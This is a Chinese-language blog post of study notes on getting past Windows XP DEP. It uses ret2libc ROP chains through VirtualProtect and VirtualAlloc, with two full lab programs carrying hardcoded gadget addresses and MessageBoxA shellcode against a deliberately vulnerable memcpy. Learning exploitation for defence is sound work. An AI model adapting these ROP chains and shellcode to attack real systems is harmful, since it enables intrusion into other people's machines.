OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()
一,通过 VirutalProtect() 修改内存属性绕过 DEP
DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中取指令,则会发生错误。为了解决这个问题,MS 在 kernel32.dll 中提供了修改内存属性的 VirtualProtect() 函数,可以修改可执行属性。故一个新的思路的构造参数并利用 VirutalProtect() 修改 shellcode 为可执行,进而绕过 DEP。
BOOL VirtualProtect{
LPVOID lpAddress, // 需要修改属性的内存的起始地址
DWORD dwSize, // 大小
DWORD flNewProtect, // 新属性,其中可执行可读写属性 PAGE_EXECUTE_READWRITE 值为 0x40
PDWORD lpflOldProtect // 原始属性的保存地址
};
接下来演示如何动态定位 shellcode,然后通过 VirtualProtect() 修改 shellcode 属性并触发。因为参数中含有 null,为便于演示起见,漏洞函数设为 memcpy(),同时关闭 SafeSEH 和 GS 保护。
VirtualProtect() 函数的反汇编代码如下:
7C801AD4 > 8BFF MOV EDI,EDI ; ret2libc.004034F8
7C801AD6 PUSH EBP
7C801AD7 8BEC MOV EBP,ESP
7C801AD9 FF75 PUSH DWORD PTR SS:[EBP+] ; 设置参数 lpflOldProtect
7C801ADC FF75 PUSH DWORD PTR SS:[EBP+] ; 设置参数 flNewProtect : 0x40
7C801ADF FF75 0C PUSH DWORD PTR SS:[EBP+C] ; 设置参数 dwSize
7C801AE2 FF75 PUSH DWORD PTR SS:[EBP+] ; 设置参数 lpAddress
7C801AE5 6A FF PUSH -
7C801AE7 E8 75FFFFFF CALL kernel32.VirtualProtectEx ; 转入 VirtualProtectEx()
7C801AEC 5D POP EBP
7C801AED C2 RETN
由以上反汇编代码可知,只要在 [ebp+0x8] ~ [ebp+0x18] 的位置放置好参数,再转入 0x7C801AD9 就可以关闭 DEP 了。
接下来布置 shellcode。首先修复被破坏的 ebp(为何修复参见前一篇笔记):push esp, pop ebp, retn 4。
关闭 DEP 之前需要将 ebp+8 设置为栈帧中的可操作位置,并将 ebp+0x14 设置为一个可写的位置。修复 ebp 之后,esp 指向了 ebp+8 的位置。此时如果能使 esp 指向 ebp+0xC 并 push esp,那么 ebp+8 就位于可操作范围内了。所以先使用一条 retn,既可以使 esp 指向 ebp+0xC,又能掌握程序的控制权。
shellcode 如下:
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
......
"\xE5\xE0\x72\x7D" // return address, adjust ebp : push esp, pop ebp, retn
"\x40\x26\xD8\x7D" // retn
"\x90\x90\x90\x90"
"\x4A\xD4\xB8\x7D" // push esp call edi
这里采用上一篇笔记中说到的方法,在第 3 行之前将 edi 指向目标 code,然后布置栈帧,在第 6 行处 call edi 执行目标 code。执行完上述第 6 行的 push esp 后,ebp+8 处的指针就指向可操作的地址了(此时 ebp+8 == esp == [esp+4]),接下来要布置 ebp+0x14,使其指向可写的内存。首先让 esp 指向 ebp+0x14 附近,然后再考虑在 ebp+0x14 写入一个可写的地址。这里用上一篇结尾处提到的技巧:
"\x21\xAf\xCB\x7D" // return address : pop edi retn
"\x40\x12\x5A\x78" // pop ecx,pop ebx,pop eax,retn
"\xE5\xE0\x72\x7D" // adjust ebp : push esp, pop ebp, retn
"\x40\x26\xD8\x7D" // retn
"\x90\x90\x90\x90"
"\x0A\xDC\xBA\x7D" // push esp jmp edi(0x785A1240:pop ecx,pop ebx,pop eax,retn)
如此一来,esp 就指向了 ebp+0x18 的位置,这时只要 push esp,ebp+0x14 就指向 ebp+0x18 了,ebp+0x18 是可写的!push esp 之后,VirtualProtect() 的参数就布置好了,可以修改内存可执行属性了!再次利用已经用过的 jmp eax,使 eip 指向 shellcode 就可以了(将前文的 pop edi 和 jmp edi 中的 edi 用 eax 指令替代了,原因是 rop tramp 需要位于可执行区域,而可执行代码区 eax 的指令较 edi 多,方便寻找):
// ret2libc.cpp : Defines the entry point for the console application.
//
// env
// * windows xp sp3 with /noexecute=optout
// * vs2008 with Optimization/GS/SafeSEH disabled
// Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line #include "stdafx.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h> char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x94\xB0\x6C\x7D" // pop eax retn
"\x69\x36\x5C\x7D" // pop edi,pop ebx,pop esi,retn
"\xE5\xE0\x72\x7D" // adjust ebp : push esp, pop ebp, retn 4
"\x6C\x36\x5C\x7D" // retn
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77" // push esp jmp eax
"\xFF\x00\x00\x00" // size of memory-to-chmod
"\x40\x00\x00\x00" // attributes of memory-to-chmod
"\xC6\xC6\xEB\x77" // push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD9\x1A\x80\x7C" // chmod memory : VirtualProtect() ends with pop ebp, retn 10
"\x90\x90\x90\x90"
"\xEB\x30\x5A\x7D" // jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53"
"\xFF\x57\xF8" // 163 bytes pop window shellcode (MessageBoxA)
;
void test()
{
char str[];
memcpy(str,shellcode,);
}
int main()
{
char tmp[]; // 保证栈帧足够长
HINSTANCE hInst = LoadLibrary(_T("shell32.dll")); // for more tramp opcode
//VirtualProtect(0,0,0,0);
test();
return ;
}
Hint :
一,在 /NoExec=OptOut 的情况下,需要通过系统属性将 OllyDbg 添加到 DEP 的白名单中
二,突破 DEP 之前的踏板指令,需要在可执行区域,这一点害我走了弯路。可以用 OllyFindAddr 插件,如果使用后的 Log 太长不方便看,可以先 Log to File
三,这里用到的就是传说中的 ROP(Return-Oriented-Programming),利用思路值得掌握!
四,相关函数需要查看 MSDN
二,通过 VirutalAlloc() 分配新内存绕过 DEP
VirtualAlloc() 原型如下(参考 MSDN 很有帮助!):
LPVOID WINAPI VirtualAlloc(
__in_opt LPVOID lpAddress, // 申请内存的地址,若为 NULL,则系统会决定位置,并按 64kb 向上取整
__in SIZE_T dwSize, // 大小
__in DWORD flAllocationType, // 类型(推荐 0x1000)
__in DWORD flProtect // 保护类型,0x40 为可读写、可执行
);
VirtualAlloc() 和 VirtualProtect() 的实现如出一辙:布置好参数后调用 VirtualAllocEx() 实现功能。其反汇编代码如下:
7C809AE3 PUSH EBP
7C809AE4 8BEC MOV EBP,ESP
7C809AE6 FF75 PUSH DWORD PTR SS:[EBP+] // flProtect
7C809AE9 FF75 PUSH DWORD PTR SS:[EBP+] // flAllocationType
7C809AEC FF75 0C PUSH DWORD PTR SS:[EBP+C] // dwSize
7C809AEF FF75 PUSH DWORD PTR SS:[EBP+] // lpAddress
7C809AF2 6A FF PUSH -1 // 当前进程
7C809AF4 E8 CALL kernel32.VirtualAllocEx // VirtualAllocEx() 会平衡第 3-7 行压入的参数,同理第 10 行平衡转入第 1 行前的参数
7C809AF9 5D POP EBP
7C809AFA C2 RETN
实验思路为:
* 构造可溢出的函数
* 溢出后利用 ROP 转入 VirtualAllocEx() 得到可读写、执行的内存
* 将 shellcode 复制到得到的内存中
* 转入 shellcode 执行
自己写出的实验代码如下:
// ret2libc.cpp : Defines the entry point for the console application.
//
// env
// * windows xp sp3 with /noexecute=optout
// * vs2008 with Optimization/GS/SafeSEH disabled
// Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line #include "stdafx.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h> char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xE5\xE0\x72\x7D" // adjust ebp : push esp, pop ebp, retn 4
"\xF4\x9A\x80\x7C" // VirtualAllocEx()
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF" // arg: current process
"\x00\x40\x03\x00" // arg:
"\xFF\x01\x00\x00" // arg: size
"\x00\x10\x00\x00" // arg: type
"\x40\x00\x00\x00" // arg: attrib
"\x90\x90\x90\x90" // VirtualAlloc() returns with pop ebp, retn 0x10
"\xE5\xE0\x72\x7D" // adjust ebp : push esp, pop ebp, retn 4
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x2B\x72\x5F\x7D" // pop ecx, retn
"\x90\x90\x90\x90" // slide
"\xFF\x00\x00\x00" // pop arg to ecx
"\x68\xEA\x76\x7D" // pop edi retn
"\x00\x40\x03\x00" // pop arg to edi
// push esp, pop esi, retn 这里为了方便从 shellcode 之前的内存就开始复制,即 esp 指向的地址开始复制
"\x94\xB0\x6C\x7D" // pop eax retn
"\xEF\x6A\x71\x7D" // rop: pop esi retn
"\xC6\xC6\xEB\x77" // push esp jmp eax
"\x89\x17\xD3\x77" // REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
// POP EDI
// POP ESI
// POP EBP
// RETN 4
"\x90\x90\x90\x90" // slide: pop edi
"\x90\x90\x90\x90" // slide: pop esi
"\x90\x90\x90\x90" // slide: pop ebp
"\x94\xB0\x6C\x7D" // pop eax retn
"\x90\x90\x90\x90" // slide
"\x20\x40\x03\x00" // pop shellcode to eax
"\xC7\xC6\xEB\x77" // jmp eax (shellcode)
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53"
"\xFF\x57\xF8" // 163 bytes pop window shellcode (MessageBoxA)
;
void test()
{
char str[];
memcpy(str,shellcode,);
}
int main()
{
char tmp[]; // 保证栈帧足够长
HINSTANCE hInst = LoadLibrary(_T("shell32.dll"));
//VirtualProtect(0,0,0,0);
//VirtualAlloc((LPVOID)0x00300000,255,0x00001000,0x00000040);
test();
return ;
}
这次实验是自己写出来的,几点与原书中的示例不同:
* 原书直接转入 memcpy() 函数内部完成复制 shellcode 的功能
* 原书复制完 shellcode 后直接转入目标内存起点执行,因为复制的起始位置在 shellcode 关键代码之前(esp),所以目标内存起点存在脏代码
* 原书利用 memcpy() 函数中的 pop 操作,巧妙地布置填充数据,消除目标内存起点的脏代码影响
我自己的思路是布置好 ecx、edi、esi 后直接找到 rep movs 的指令并当作跳板完成 shellcode 的复制,但代码长度还可优化:如 VirtualAlloc() 后 eax 指向了目标内存地址,可以先 mov edi,eax retn。
另外,熟悉 API 很重要,MSDN 很有价值!
OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()的更多相关文章
- OD: DEP & Ret2Libc
Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行, ...
- BZOJ3924——[Zjoi2015]幻想乡战略游戏
0.题意:动态维护带权中心 1.分析:妈的,这题做了一天,mdzzzzzzzzzzzzzzzzzz-.. 这个题是边权,我们首先要将边权转化成点权... 我们维护一个分支结构中到根的距离和,一个分支结 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- Rop实战之利用VirtualProtect绕过DEP
CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...
- RET2LIBC 练习(3) -- VIRTUALALLOC
国庆假期没事做了几道pwn题练手,等有时间在贴出pwn题的分析. 利用VIRTUALALLOC的方法绕过DEP其实和之前的方法大同小异了,只是VIRTUALALLOC开辟了一段新的可执行的内存空间,然 ...
- Ret2Libc 练习(2) -- VirtualProtect
这几天做了NSCTF和GCTF,耽误了几天,今天继续. 这次绕过DEP的方法是利用VirtualProtect函数将shellcode所在的内存属性改成可执行状态就可以绕过DEP了. 首先看一下Vir ...
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- 20155306 白皎 0day漏洞——漏洞利用原理之DEP
20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...
随机推荐
- 解决spring mvc 上传报错,Field [] isn't an enum value,Failed to convert value of type 'java.lang.String[]' to required type '
没有选择附件,但是点击上传按钮的时候会报错. 之前不选择文件,直接上传空文件是可以的,后来不知道改了什么就不行了. 错误信息: -- :: [http--] TRACE org.springframe ...
- css 日常
去掉input边框 outline:none; 不让用户选择文本 user-select: none; 手机网页点击输入框的瞬间会出现灰色背景 解决方案: -webkit-tap-high ...
- PHP引用(&)详解
PHP的引用(就是变量.函数.对象等前面加上&符号) 在PHP 中引用的意思是:不同的名字访问同一个变量内容. 变量的引用 PHP 的引用允许你用两个变量来指向同一个内容 //打印数组 fun ...
- mysql的sql优化案例
前言 mysql的sql优化器比较弱,选择执行计划貌似很随机. 案例 一.表结构说明mysql> show create table table_order\G***************** ...
- 转:前端集锦:十款精心挑选的在线 CSS3 代码生成工具
今天这篇文章向大家推荐十款非常有用的在线 CSS3 代码生成工具,这些工具能够帮助你方便的生成 CSS3 特效.CSS3 是对 CSS 规范的改善和增强,增加了圆角.旋转.阴影.渐变和动画等众多强大的 ...
- Callback函数详解(我感觉,回掉函数的本质是函数指针,在业务做循环处理的时候,调用一下通知外部)
2010年的最后一天了,转载一篇自己认为还不错的文章与大家分享.希望对大家有所帮助. 一,回调函数 我们经常在C++设计时通过使用回调函数可以使有些应用(如定时器事件回调处理.用回调函数记录某操作进度 ...
- Bitwise AND of Numbers Range——LeetCode
Given a range [m, n] where 0 <= m <= n <= 2147483647, return the bitwise AND of all numbers ...
- Sum Root to Leaf Numbers——LeetCode
Given a binary tree containing digits from 0-9 only, each root-to-leaf path could represent a number ...
- Nodejs in Visual Studio Code 01.简单介绍Nodejs
1.开始 作者自己:开发人员,Asp.Net , html / js , restful , memcached , oracle ,windows , iis 目标读者:供自己以后回顾 2.我看No ...
- 2013=12=2 bitree
#include "stdio.h" #include "stdlib.h" #define OVERFLOW -1 #define ERROR -1 #def ...